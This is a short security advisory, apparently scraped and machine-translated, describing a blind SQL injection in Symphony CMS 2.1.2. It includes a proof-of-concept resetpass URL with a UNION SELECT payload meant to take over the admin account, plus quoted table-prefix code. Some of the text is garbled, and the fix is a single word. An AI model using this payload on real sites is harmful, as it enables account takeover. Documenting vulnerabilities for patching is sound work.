Symphony CMS 2.1.2 blind injection defects and repair

Source: Internet
Author: User

Symphony is an open-source content management system. The SQL injection vulnerability in Symphony 2.1.2 may cause sensitive information leakage.

[+] Info:
Symphony CMS 2.1.2 Blind SQL Injection

[+] Poc:
The following example will reset the password of the admin user which was created during installation
(Id 1) and send an email to with the username and new password.
Http:// Action = resetpass & token =-1 + union + select + id,, username + from + tbl_authors + where + id + = 1 + -- +

We are aided by the following code:
Lib/toolkit/class. mysql. php: 251: if ($ this-> _ connection [tbl_prefix]! = Tbl _){
Lib/toolkit/class. mysql. php: 252: $ query = preg_replace (/tbl _ (S + ?) ([S.,] | $)/, $ this-> _ connection [tbl_prefix]. \ 1 \ 2, $ query );
Which turn our tbl_authors into the appropriate prefixed table name. This essential negates the use
Of custom prefix for tables.


Fix: Filter

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